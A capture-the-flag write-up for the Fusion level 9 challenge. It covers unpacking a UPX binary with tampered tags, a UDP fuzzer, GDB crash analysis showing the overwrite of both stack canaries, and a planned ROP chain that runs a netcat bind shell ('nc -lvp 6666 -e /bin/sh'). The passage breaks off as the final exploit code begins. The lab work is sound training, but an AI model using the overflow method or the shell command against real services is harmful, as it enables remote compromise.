SOLVING FUSION LEVEL 9

Intro
Fusion’s level 9 is a packed executable that a creates UDP service listening on port 20009. The author hinted us that this challenge follows up on level 8 on how we could turn things completely into our favor, so lets see.

Unpacking
In order to analyze the executable we would like to unpack it. From a quick look at the code we can tell it’s packed with UPX, a common known PE/ELF/… packer. The commandline UPX tool has a -d option to decompress files but when trying to unpack the executable with it we get a warning message that our executable isn’t packed with UPX

h4x@kali:~/training/fusion/lvl9$ upx -d level09
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: level09: NotPackedException: not packed by UPX

Unpacked 0 files.

So whats going on? Well normally a UPX packed executable has a few ‘UPX!’ tags in the binary which are checked by the UPX packer when unpacking the file(with the -d option). When these tags are missing the packer thinks it’s not a UPX file.

Example of a UPX compressed bash and sh:

h4x@kali:~/training/fusion/lvl9$ hexdump -C bash | grep UPX!
00000070  00 10 00 00 86 b7 80 9b  55 50 58 21 24 08 0d 0c  |........UPX!$...|
00064720  e8 ed 7b ff 1f 22 13 81  f9 55 50 58 21 75 0f 83  |..{.."...UPX!u..|
00064d90  00 00 00 00 55 50 58 21  00 00 00 00 55 50 58 21  |....UPX!....UPX!|
h4x@kali:~/training/fusion/lvl9$ hexdump -C sh | grep UPX!
00000070  00 10 00 00 01 b3 d3 2c  55 50 58 21 04 08 0d 0c  |.......,UPX!....|
0000b6e0  91 13 81 f9 55 50 58 21  75 0f 83 3e 29 7f c0 b6  |....UPX!u..>)...|
0000bd10  00 00 00 55 50 58 21 00  00 00 00 00 55 50 58 21  |...UPX!.....UPX!|

level09 doesn’t have any:

h4x@kali:~/training/fusion/lvl9$ hexdump -C level09 | grep UPX!
h4x@kali:~/training/fusion/lvl9$ 

When I compared sh and level09 with hexdump I also noticed something else. It seems that the level09 executable has a extra ELF header of 0x1000 bytes.

sh:

00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  f8 c2 c0 00 34 00 00 00  |............4...|
00000020  00 00 00 00 00 00 00 00  34 00 20 00 02 00 28 00  |........4. ...(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 10 c0 00  |................|
00000040  00 10 c0 00 ee ba 00 00  ee ba 00 00 05 00 00 00  |................|
00000050  00 10 00 00 01 00 00 00  94 0e 00 00 94 2e 06 08  |................|
00000060  94 2e 06 08 00 00 00 00  00 00 00 00 06 00 00 00  |................|
00000070  00 10 00 00 01 b3 d3 2c  55 50 58 21 04 08 0d 0c  |.......,UPX!....|
00000080  00 00 00 00 04 7c 01 00  04 7c 01 00 34 01 00 00  |.....|...|..4...|
00000090  ab 00 00 00 02 00 00 00  7f 3f 64 f9 7f 45 4c 46  |.........?d..ELF|

level09:

00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  08 66 c0 00 34 00 00 00  |.........f..4...|
00000020  00 00 00 00 00 00 00 00  34 00 20 00 03 00 28 00  |........4. ...(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 00 c0 00  |................|
00000040  00 00 c0 00 e4 6d 00 00  e4 6d 00 00 05 00 00 00  |.....m...m......|
00000050  00 10 00 00 01 00 00 00  20 13 00 00 20 33 06 08  |........ ... 3..|
00000060  20 33 06 08 00 00 00 00  00 00 00 00 06 00 00 00  | 3..............|
00000070  00 10 00 00 51 e5 74 64  00 00 00 00 00 00 00 00  |....Q.td........|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 06 00 00 00  |................|
00000090  04 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00001010  02 00 03 00 01 00 00 00  08 66 c0 00 34 00 00 00  |.........f..4...|
00001020  00 00 00 00 00 00 00 00  34 00 20 00 02 00 28 00  |........4. ...(.|
00001030  00 00 00 00 01 00 00 00  00 00 00 00 00 10 c0 00  |................|
00001040  00 10 c0 00 e4 5d 00 00  e4 5d 00 00 05 00 00 00  |.....]...]......|
00001050  00 10 00 00 01 00 00 00  20 03 00 00 20 33 06 08  |........ ... 3..|
00001060  20 33 06 08 00 00 00 00  00 00 00 00 06 00 00 00  | 3..............|
00001070  00 10 00 00 5e 9c 69 d6  67 53 38 78 da 07 0d 0c  |....^.i.gS8x....|
00001080  00 00 00 00 14 a3 01 00  14 a3 01 00 34 01 00 00  |............4...|
00001090  99 00 00 00 02 00 00 00  7f 3f 64 f9 7f 45 4c 46  |.........?d..ELF|

So for UPX to be able to unpack the file we need to strip the extra ELF header and fix the UPX! tags. By comparing the byte patterns around the tags from the sh executable I kinda figured out where the tags where located and it seemed that they where just renamed instead of zero’s out.

00001000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............| <-- org. ELF header(UPX stub)
*
00001070  00 10 00 00 5e 9c 69 d6  67 53 38 78 da 07 0d 0c  |....^.i.gS8x....| <-- edited UPX! tag : 67 53 38 78
*
000065f0  90 00 00 ff 00 00 00 00  67 43 34 6c 00 00 00 00  |........gC4l....| <-- edited UPX! tag : 67 43 34 6c
*
000069f0  91 13 81 f9 62 54 37 6a  75 0f 83 3e 29 7f c0 b6  |....bT7ju..>)...| <-- edited UPX! tag : 62 54 37 6a
*
00006de0  00 ff 00 00 70 4e 37 6a  0d 0c 02 08 df 39 9d a2  |....pN7j.....9..| <-- edited UPX! tag : 70 4e 37 6a

You could spot a bit of a pattern in the tag names as they are all lowercase-uppercase-numeric-lowercase.

I wrote a python script to strip the extra ELF header and restore the UPX! tags.

#!/usr/bin/env python
import sys

def main(srcFilename):
	f = open(srcFilename, 'rb')
	# skip the dummy ELF header
	f.seek(0x1000)
	bindata = f.read()
	f.close()
	# restore the tags
	bindata = bindata.replace('gS8x','UPX!')
	bindata = bindata.replace('gC4l','UPX!')
	bindata = bindata.replace('bT7j','UPX!')
	bindata = bindata.replace('pN7j','UPX!')
	# save patched data
	f = open(srcFilename+'_patched', 'wb')
	f.write(bindata)
	f.close()
	print 'Patched file created'

if __name__ == '__main__':
	main(sys.argv[1])

Running the script against level09 produced a level09_patched file and when trying to unpack it with UPX it now worked.

h4x@kali:~/training/fusion/lvl9$ ./upx_patch.py level09
Patched file created
h4x@kali:~/training/fusion/lvl9$ upx -d level09_patched 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    107284 <-     24072   22.44%  netbsd/elf386  level09_patched

Unpacked 1 file.
h4x@kali:~/training/fusion/lvl9$ file level09_patched 
level09_patched: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.15, dynamically linked (uses shared libs), corrupted section header size

Analyzing the executable
So once we have a clean unpacked executable we could start analyzing it using IDA. I tried to decompile and clean as much of the code as possible…

/*
pseudo core structure
*/
struct struct_core
{
  _DWORD jmptable_index;
  int p_pbuf1;
  int pbuf1_end;
  int field_C;
  int fdsock;
  struct sockaddr sock_addr;
  int field_24;
  int field_28;
  int field_2C;
  int field_30;
  int field_34;
  int field_38;
  int field_3C;
  int field_40;
  int field_44;
  int field_48;
  int field_4C;
  int field_50;
  int field_54;
  int field_58;
  int field_5C;
  int field_60;
  int field_64;
  int field_68;
  int field_6C;
  int field_70;
  int field_74;
  int field_78;
  int field_7C;
  int field_80;
  int field_84;
  int field_88;
  int field_8C;
  int field_90;
  socklen_t sock_len;
  char *pbuf1;
  int pbuf1_size;
  int bytesrecvd;
  char *pbuf2;
  _DWORD pbuf2_pos;
  int pbuf2_size;
  int feof;
  int field_B4;
  __int16 field_B8;
  __int16 field_BA;
  char *qrystr;
};

/*
Main routine
*/
void __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int fdsock; // esi@1
  int v4; // ecx@6
  struct_core *sCore; // eax@9 MAPDST
  int v7; // edx@9
  int bytesrecvd; // eax@9
  struct addrinfo req; // [sp+0h] [bp-58h]@1
  pthread_t newthread; // [sp+20h] [bp-38h]@2
  struct addrinfo *_addrinfo; // [sp+24h] [bp-34h]@1
  int optval; // [sp+28h] [bp-30h]@3
  char s[16]; // [sp+2Ch] [bp-2Ch]@1
  int canary; // [sp+3Ch] [bp-1Ch]@1
  int *v15; // [sp+4Ch] [bp-Ch]@1

  v15 = &argc;
  canary = v14;
  /*
  Lower privileges and daemonize
  */
  backgroundprocess();
  memset(&req, 0, sizeof(req));
  req.ai_family = AF_INET6;
  req.ai_socktype = SOCK_DGRAM;
  req.ai_flags = 1;
  sprintf(s, "%d", 20009);
  getaddrinfo(0, s, &req, &_addrinfo);
  /*
  Setup the UDP bind socket
  */
  fdsock = socket(_addrinfo->ai_family, _addrinfo->ai_socktype, _addrinfo->ai_protocol);
  if ( fdsock == -1 )
  {
    req.ai_flags = (int)&newthread;
    errx(1, "get_udp6_server_socket socket");
  }
  
  optval = 1;
  if ( setsockopt(fdsock, SOL_SOCKET, 2, &optval, 4u) == -1 )
  {
    req.ai_flags = fdsock;
    errx(1, "get_udp6_server_socket setsockopt");
  }
  
  req.ai_flags = (int)&req;
  if ( bind(fdsock, _addrinfo->ai_addr, _addrinfo->ai_addrlen) == -1 )
  {
    req.ai_flags = v4;
    errx(1, "get_udp6_server_socket bind");
  }
  
  freeaddrinfo(_addrinfo);
  /*
  Read / process data loop
  */
  while ( 1 )
  {
  	/*
  	Create a new struct_core structure
  	*/
    sCore = initCoreStruct();
    sCore->fdsock = fdsock;
    req.ai_flags = v7;
    /*
    Recieve max 4096 bytes from the socket into 'sCore->pbuf1'
    */
    bytesrecvd = recvfrom(fdsock, sCore->pbuf1, 4096u, 0, &sCore->sock_addr, &sCore->sock_len);
    if ( bytesrecvd == -1 )
      break;
    sCore->bytesrecvd = bytesrecvd;
    /*
    Create a 'start_routine' thread and pass the struct_core structure
    */
    if ( pthread_create(&newthread, 0, (void *(*)(void *))start_routine, sCore) )
    {
      req.ai_flags = fdsock;
      errx(1, "pthread_create");
    }
  }
  req.ai_flags = (int)&newthread;
  errx(1, "recvfrom");
}

/*
struct_core creation and setup
*/
struct_core *__cdecl initCoreStruct()
{
  struct_core *sCore; // ebx@1

  /*
  Allocate mem for the structure
  */
  sCore = (struct_core *)calloc(192u, 1u);
  if ( sCore )
  {
  	/*
  	Allocate 2 x 4096 bytes and assign them to pbuf1 and pbuf2.
  	Assign pbuf1_size and pbuf2_size (size of mem allocated)
  	set jmptable_index to 1
  	*/
    sCore->pbuf1 = (char *)mmap(0, 4096u, PROT_WRITE|PROT_READ, 0x22, 0, 0);
    sCore->pbuf1_size = 4096;
    sCore->pbuf2_size = 4096;
    sCore->jmptable_index = 1;
    sCore->pbuf2 = (char *)mmap(0, 4096u, PROT_WRITE|PROT_READ, 0x22, 0, 0);
  }
  return sCore;
}

/*
Threaded function
*/
void __cdecl start_routine(struct_core *sCore)
{
  start_processdata(sCore); // to big to decompile..
  start_freeBuffers(sCore);
}

/*
Free struct_core structure and it's data
*/
void __cdecl start_freeBuffers(struct_core *sCore)
{
  char *p; // eax@2

  if ( sCore )
  {
  	/*
  	Free pbuf1 and pbuf3
  	*/
    p = sCore->pbuf1;
    if ( p )
      munmap(p, 4096u);
    p = sCore->pbuf2;
    if ( p )
      munmap(p, 4096u);
  	/*
  	Free structure
  	*/
    free(sCore);
  }
}

So looking at the main code we see it creates a UDP bind socket and then enters a loop where it creates a struct_core structure, then receives data(max. 4096 bytes) from the socket into pbuf1 and finally creates a start_routine thread passing the core structure as it’s argument.

Within the start_routine function the start_processdata function is called. IDA crashed badly when I tried to decompile this function because it’s freaking huge, the entire function is 97733 bytes in size! I tried to analyze the assembly as much a possible and it looked a bit like some state-machine or protocol. The code has a horrible jumpy code flow which makes it more tricky to analyze but basically it reads the bytes from our buffer, checks if they match a condition or range and chooses it’s execution path based on that. The first byte in our buffer should always be 0x1F.

LOAD:0804905D ; int __cdecl start_processdata(struct_core *)
LOAD:0804905D start_processdata proc near
LOAD:0804905D
LOAD:0804905D var_C0    = dword ptr -0C0h
LOAD:0804905D var_ptr4  = dword ptr -0BCh
LOAD:0804905D var_ptr3  = dword ptr -0B8h
LOAD:0804905D var_ptr2  = dword ptr -0B4h
LOAD:0804905D var_ptr1  = dword ptr -0B0h
LOAD:0804905D var_AC    = dword ptr -0ACh
LOAD:0804905D local_buf1= byte ptr -9Ch
LOAD:0804905D local_buf2= byte ptr -5Ch
LOAD:0804905D canary    = dword ptr -1Ch
LOAD:0804905D sCore     = dword ptr  8
LOAD:0804905D
...
LOAD:08049068           sub     esp, 0BCh
LOAD:0804906E           mov     ebx, [ebp+sCore]
LOAD:08049071           mov     eax, large gs:14h
LOAD:08049077           mov     [ebp+canary], eax
...
LOAD:0804907C           lea     edx, [ebp+local_buf1]
LOAD:08049082           mov     edi, edx
// struct_core.p_pbuf1 = struct_core.pbuf1
// struct_core.pbuf1_end = struct_core.pbuf1 + struct_core.bytesrecvd
// struct_core.field_C = struct_core.pbuf1 + struct_core.bytesrecvd
LOAD:08049084           mov     esi, [ebx+struct_core.pbuf1]
LOAD:0804908A           mov     eax, [ebx+struct_core.bytesrecvd]
LOAD:08049090           mov     [ebx+struct_core.p_pbuf1], esi
LOAD:08049093           add     eax, esi
LOAD:08049095           mov     [ebx+struct_core.pbuf1_end], eax
LOAD:08049098           mov     [ebx+struct_core.field_C], eax
LOAD:0804909B           xor     eax, eax
LOAD:0804909D           rep stosd
// if struct_core.pbuf1 == struct_core.pbuf1_end eq. end of data then exit
LOAD:0804909F           cmp     esi, [ebx+struct_core.pbuf1_end]
LOAD:080490A2           jz      l_ExitFunc
// struct_core.jmptable_index is setup at initCoreStruct and set to 1
LOAD:080490A8           mov     eax, [ebx+struct_core.jmptable_index]
LOAD:080490AA           dec     eax
LOAD:080490AB           cmp     eax, 220              ; switch 221 cases
LOAD:080490B0           ja      l_exit_case_default   ; jumptable 080490B6 default case
LOAD:080490B6           jmp     ds:jmptable[eax*4]    ; switch jump
LOAD:080490BD ; ---------------------------------------------------------------------------
LOAD:080490BD
LOAD:080490BD loc_80490BD:                            ; jumptable 080490B6 case 0
LOAD:080490BD           cmp     byte ptr [esi], 1Fh   ; must be 0x1F !
LOAD:080490C0           jz      short loc_80490CD     ; jmp if pbuf1[0] == 0x1f else exit
LOAD:080490C2
LOAD:080490C2 l_exit_case_212:                        ; jumptable 080490B6 case 212
LOAD:080490C2           mov     [ebx+struct_core.jmptable_index], 0
LOAD:080490C8           jmp     l_ExitFunc
LOAD:080490CD ; ---------------------------------------------------------------------------
LOAD:080490CD
LOAD:080490CD loc_80490CD:                            ; type
LOAD:080490CD           push    0F1h ; '±'
LOAD:080490D2           push    ebx                   ; sCore
LOAD:080490D3           call    core__Buf2SetType
LOAD:080490D8           pop     eax
LOAD:080490D9           mov     eax, [ebx+struct_core.p_pbuf1]
LOAD:080490DC           pop     edx
LOAD:080490DD           inc     eax                   ; inc p_pbuf1
LOAD:080490DE           cmp     eax, [ebx+struct_core.pbuf1_end]
LOAD:080490E1           mov     [ebx+struct_core.p_pbuf1], eax ; update p_pbuf1 pointer
LOAD:080490E4           jz      l_exit_case_default   ; jumptable 080490B6 default case
LOAD:080490EA
LOAD:080490EA loc_80490EA:                            ; jumptable 080490B6 case 1
LOAD:080490EA           mov     eax, [ebx+struct_core.p_pbuf1]
LOAD:080490ED           mov     al, [eax]             ; al = p_pbuf1[1]
LOAD:080490EF           cmp     al, 2Ah ; '*'
LOAD:080490F1           jz      loc_804974C           ; jmp if 0x2a
LOAD:080490F7           ja      short loc_804911A
LOAD:080490F9           cmp     al, 4
LOAD:080490FB           jz      loc_804944D
LOAD:08049101           ja      short loc_8049109
LOAD:08049103           cmp     al, 2
LOAD:08049105           jnz     short l_exit_case_212 ; jumptable 080490B6 case 212
LOAD:08049107           jmp     short loc_804913E
LOAD:08049109 ; ---------------------------------------------------------------------------
LOAD:08049109
LOAD:08049109 loc_8049109:
LOAD:08049109           cmp     al, 0Eh               ; p_pbuf1[1]
LOAD:0804910B           jz      l_0x0e                ; jmp if 0x0e
LOAD:08049111           cmp     al, 16h
LOAD:08049113           jnz     short l_exit_case_212 ; jumptable 080490B6 case 212
LOAD:08049115           jmp     loc_804922E
LOAD:0804911A ; ---------------------------------------------------------------------------
...

From looking at the code it seems we could reach certain functions which copy data from the structure’s pbuf1 to pbuf2 and also setting some sort of header byte(first byte of the data)

signed int __cdecl core::Buf2WriteData(struct_core *sCore, char *data, int datalen)
{
  signed int result; // eax@1
  int I; // edx@2
  char bsrc; // bl@4
  char *_pbuf2; // ecx@4

  result = (signed int)sCore;
  if ( !sCore->feof )
  {
    I = 0;
    if ( (unsigned int)(datalen + sCore->pbuf2_pos) < sCore->pbuf2_size )
    {
      while ( I != datalen )
      {
        bsrc = data[I];
        _pbuf2 = &sCore->pbuf2[I++];
        _pbuf2[sCore->pbuf2_pos] = bsrc;
      }
      sCore->pbuf2_pos += I;
      result = 0;
    }
    else
    {
      sCore->feof = 1;
      result = -1;
    }
  }
  return result;
}

int __cdecl core::Buf2SetType(struct_core *sCore, char type)
{
  char buf; // [sp+Fh] [bp-1h]@1

  buf = type;
  return core::Buf2WriteData(sCore, &buf, 1);
}

signed int __usercall core::Buf2WriteDataType_2E@<eax>(struct_core *sCore@<eax>, char *data@<edx>, int datalen@<ecx>)
{
  core::Buf2SetType(sCore, 0x2E);
  return core::Buf2WriteData(sCore, data, datalen);
}

signed int __cdecl core::Buf2WriteEx(struct_core *sCore, char headerbyte, char *data, int datalen)
{
  core::Buf2SetType(sCore, headerbyte);
  return core::Buf2WriteData(sCore, data, datalen);
}

I also found places in the code where it copies our pbuf1 data to the local stack variables local_buf1 and/or local_buf2 which are each 64 bytes in size. just two example snippets.

LOAD:08049D55 loc_8049D55:
LOAD:08049D55           mov     eax, [ebx+struct_core.p_pbuf1]
LOAD:08049D58           mov     al, [eax]
LOAD:08049D5A           mov     [ebp+edi+local_buf1], al
LOAD:08049D61           dec     edi
LOAD:08049D62           jmp     short loc_8049D89
...
LOAD:0805E20E           mov     edx, [ebp+var_AC]
LOAD:0805E214           add     esp, 10h
LOAD:0805E217           mov     [ebp+edi+local_buf1], al
LOAD:0805E21E           dec     edi
LOAD:0805E21F           mov     [ebp+esi+local_buf2], al
LOAD:0805E223           inc     esi
LOAD:0805E224           mov     [ebp+var_ptr3], edx
LOAD:0805E22A           jmp     loc_805E2C0
...

It seems there are many more things the code could do and it looked like a horrible painful task to get the complete picture.

What The Fuzz
Now since this is a exploit challenge, how much need is there to really understand the code completely? We know it could take up to a 4096 bytes buffer and the first byte of this buffer should be 0x1F and we know that based on the next byte(s) various execution paths could be triggered and actions performed.

I decided to write a very basic fuzzer which fuzzes the second byte in our buffer, the remaining buffer of 4094 bytes is filled with ‘A’s

#!/usr/bin/env python
import sys
import socket
import time

bufsize = 4096

def main(host, port):
	try:
		client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		# try full byte range
		for _fuzzbyte in range(256):
			payload = '\x1F' + chr(_fuzzbyte) + (bufsize - 2) * 'A'
			client.sendto(payload, (host, int(port)))
			print 'Fuzz Byte 0x%02x send' % (_fuzzbyte)
			time.sleep(1)

	except Exception, e:
		return

if __name__ == '__main__':
	main(sys.argv[1], sys.argv[2])

I attached GDB to the level09 process and started the fuzzer script and after sending a 0x0e fuzzing byte GDB stopped at a Segmentation fault crash.

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 9450]
[----------------------------------registers-----------------------------------]
EAX: 0xb78d3c41 ('A' repeats 200 times...)
EBX: 0x86fa998 --> 0x1 
ECX: 0x241 
EDX: 0x345d (']4')
ESI: 0xce4 
EDI: 0x345c ('\\4')
EBP: 0xb0722378 ('A' repeats 200 times...)
ESP: 0xb07222b0 --> 0x0 
EIP: 0x80495f3 (mov    BYTE PTR [ebp+esi*1-0x5c],al)
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80495e3:	mov    WORD PTR [ebx+0xba],ax
   0x80495ea:	mov    WORD PTR [ebx+0xb8],ax
   0x80495f1:	mov    al,BYTE PTR [edx]
=> 0x80495f3:	mov    BYTE PTR [ebp+esi*1-0x5c],al
   0x80495f7:	inc    esi
   0x80495f8:	mov    eax,DWORD PTR [ebx+0x4]
   0x80495fb:	inc    eax
   0x80495fc:	cmp    eax,DWORD PTR [ebx+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xb07222b0 --> 0x0 
0004| 0xb07222b4 --> 0x0 
0008| 0xb07222b8 --> 0x0 
0012| 0xb07222bc --> 0x0 
0016| 0xb07222c0 --> 0x0 
0020| 0xb07222c4 --> 0x0 
0024| 0xb07222c8 --> 0x0 
0028| 0xb07222cc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x080495f3 in ?? ()
gdb-peda$

This looks good, from the look at the code where it crashed and it’s current registers we can see it tries to write data from our pbuf1(AL) to local_buf2(EBP) with ESI as it’s current position and apparently it’s trying to write passed the memory/stack and overflowing the local_buf2 buffer.

Let’s try a smaller buffer and see if we could trigger another crash. The current position(ESI) is at 0xce4 / 3300 and at that point it could not write anymore data so I picked something less then 3300. I changed the bufsize in the fuzzer script to 3000 and started it. Again once after sending a fuzzbyte of 0x0e GDB stopped at a crash but this time with some very nice result!

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 9575]
[----------------------------------registers-----------------------------------]
EAX: 0xb77febb8 --> 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0x241 
EDX: 0x358e 
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xb064d380 ('A' repeats 200 times...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xb064d380 ('A' repeats 200 times...)
0004| 0xb064d384 ('A' repeats 200 times...)
0008| 0xb064d388 ('A' repeats 200 times...)
0012| 0xb064d38c ('A' repeats 200 times...)
0016| 0xb064d390 ('A' repeats 200 times...)
0020| 0xb064d394 ('A' repeats 200 times...)
0024| 0xb064d398 ('A' repeats 200 times...)
0028| 0xb064d39c ('A' repeats 200 times...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

Boom! We now seem to have full EIP control, This looks like a classic stack overflow exploiting from here. Besides being happy I had full EIP control I also was a bit confused that this could have happen because the start_processdata function is protected with stack smashing detection and in theory this should have noticed the stack overflow in local_buf2.

I decided to place some breakpoints in start_processdata to see what is going on. The first breakpoint I placed on 0x08049077 this is where it saves the current stack canary. I placed a second breakpoint at 0x08060E0A where it reads the previous stored canary and compares it with the original eq. the stack smash check at the end of start_processdata. I also modified the fuzzer script to just send one request using the 0x0e fuzz byte(The one that caused the crash). Once the script is executed we can inspect the breakpoints.

Breakpoint 1:
[Switching to LWP 9685]
[----------------------------------registers-----------------------------------]
EAX: 0x6e774800 ('')
EBX: 0x8875048 --> 0x1 
ECX: 0x10 
EDX: 0xb7584454 --> 0xb771aff4 --> 0x17eb4 
ESI: 0x0 
EDI: 0x3d0f00 
EBP: 0xb7584378 --> 0xb7584398 --> 0xb7584498 --> 0x0 
ESP: 0xb75842b0 --> 0x0 
EIP: 0x8049077 (mov    DWORD PTR [ebp-0x1c],eax)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049068:	sub    esp,0xbc
   0x804906e:	mov    ebx,DWORD PTR [ebp+0x8]
   0x8049071:	mov    eax,gs:0x14
=> 0x8049077:	mov    DWORD PTR [ebp-0x1c],eax
   0x804907a:	xor    eax,eax
   0x804907c:	lea    edx,[ebp-0x9c]
   0x8049082:	mov    edi,edx
   0x8049084:	mov    esi,DWORD PTR [ebx+0x98]
[------------------------------------stack-------------------------------------]
0000| 0xb75842b0 --> 0x0 
0004| 0xb75842b4 --> 0xb7586110 --> 0xb77066ba (inc    edi)
0008| 0xb75842b8 --> 0x5 
0012| 0xb75842bc --> 0x0 
0016| 0xb75842c0 --> 0x1 
0020| 0xb75842c4 --> 0xb7729860 --> 0xb7703000 (jg     0xb7703047)
0024| 0xb75842c8 --> 0x0 
0028| 0xb75842cc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08049077 in ?? ()

It’s about to store the current canary(EAX) into EBP-0x1C, Now if we dump a big portion of the stack starting from the canary address we notice something interesting.

gdb-peda$ x/550wx $ebp-0x1c
0xb758435c:	0x6e774800	0xb7729a18	0xb7586110	0x00000001
0xb758436c:	0x08875048	0x00000000	0x003d0f00	0xb7584398
0xb758437c:	0x08060efd	0x08875048	0xb771aff4	0x00000000
0xb758438c:	0x003d0f00	0xb7584498	0xb771aff4	0xb7584498
0xb758439c:	0xb7709d31	0x08875048	0xb7584b70	0xb7584b70
0xb75843ac:	0xb7584b70	0xb7584454	0x00000000	0x00000000
0xb75843bc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843cc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843dc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843ec:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843fc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758440c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758441c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758442c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758443c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758444c:	0x00000000	0x00000000	0xb771aff4	0x00000000
0xb758445c:	0x003d0f00	0xb7584498	0x73bada79	0x2207b879
0xb758446c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758447c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758448c:	0xb7709c60	0x00000000	0x003d0f00	0x00000000
0xb758449c:	0xb76590ce	0xb7584b70	0x00000000	0x00000000
...
0xb7584b1c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b2c:	0x00000000	0xb76ff3a0	0xb7584df4	0x00000000
0xb7584b3c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b4c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b5c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b6c:	0x00000000	0xb7584b70	0x08875118	0xb7584b70
0xb7584b7c:	0x00000001	0xb774a414	0x6e774800	0x8be19edd
...

Besides a huge gap of zero bytes we can see our current canary at 0xb758435c and original canary at 0xb7584b7c + 8. If we continue the debugged process till the next breakpoint we can see that both canary’s are now overwritten and therefore the stack smashing check succeeds because we control both canary’s!

Stack after overflow.

Breakpoint 2, 0x08060e0a in ?? ()
gdb-peda$ x/550wx $ebp-0x1c
0xb758435c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758436c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758437c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758438c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758439c:	0x41414141	0x41414141	0x41414141	0x41414141
...
0xb7584b6c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb7584b7c:	0x41414141	0x41414141	0x41414141	0x41414141

Exploit
Since we have to deal with ASLR and NX I decided to create ROP payload which does a system(‘/bin/nc.traditional -lvp 6666 -e /bin/sh’). At first my payload kept crashing with it’s EIP set to the value located before the original canary at 0xb7584b7c + 4. After some more debugging it turned out that the original value(now overwritten) should point to vdso.__kernel_vsyscall. Without this pointer fixed we can not execute any code which involves a syscall(most of the code does) I fixed this by making a GOT entry point to vdso.__kernel_vsyscall.

Backtrace of the crash without the vdso.__kernel_vsyscall pointer fixed using the unpacked executable because it has symbols.

gdb-peda$ bt
#0  0x42424242 in ?? ()
#1  0xb7709dd9 in __GI___libc_sigaction (sig=0x2, act=0xb76d9324, oact=0xb7855120) at ../sysdeps/unix/sysv/linux/i386/sigaction.c:96
#2  0xb77185e6 in do_system (line=0x8063384 "/bin/nc.traditional -lvp 6666 -e /bin/sh") at ../sysdeps/posix/system.c:72
#3  0xb7718b9a in __libc_system (line=0x8063384 "/bin/nc.traditional -lvp 6666 -e /bin/sh") at ../sysdeps/posix/system.c:190
#4  0xb7866ebb in system (line=0x8063384 "/bin/nc.traditional -lvp 6666 -e /bin/sh") at pt-system.c:29
#5  0x08048f84 in ?? ()

Final exploit code.

#!/usr/bin/env python
import sys
import socket
import struct

"""
distance to vdso.__kernel_vsyscall on the unpacked binary
(gdb) p __kernel_vsyscall
$1 = {<text variable, no debug info>} 0xb7821414 <__kernel_vsyscall>

(gdb) p write
$2 = {<text variable, no debug info>} 0xb78079c0 <write>

(gdb) p 0xb7821414 - 0xb78079c0
$3 = 105044

packed binary:
0x39A54

space for commandline string:
gdb-peda$ x/100wx 0x8063184+0x200
0x8063384:	0x00000000	0x00000000	0x00000000	0x00000000
0x8063394:	0x00000000	0x00000000	0x00000000	0x00000000
0x80633a4:	0x00000000	0x00000000	0x00000000	0x00000000
0x80633b4:	0x00000000	0x00000000	0x00000000	0x00000000
0x80633c4:	0x00000000	0x00000000	0x00000000	0x00000000
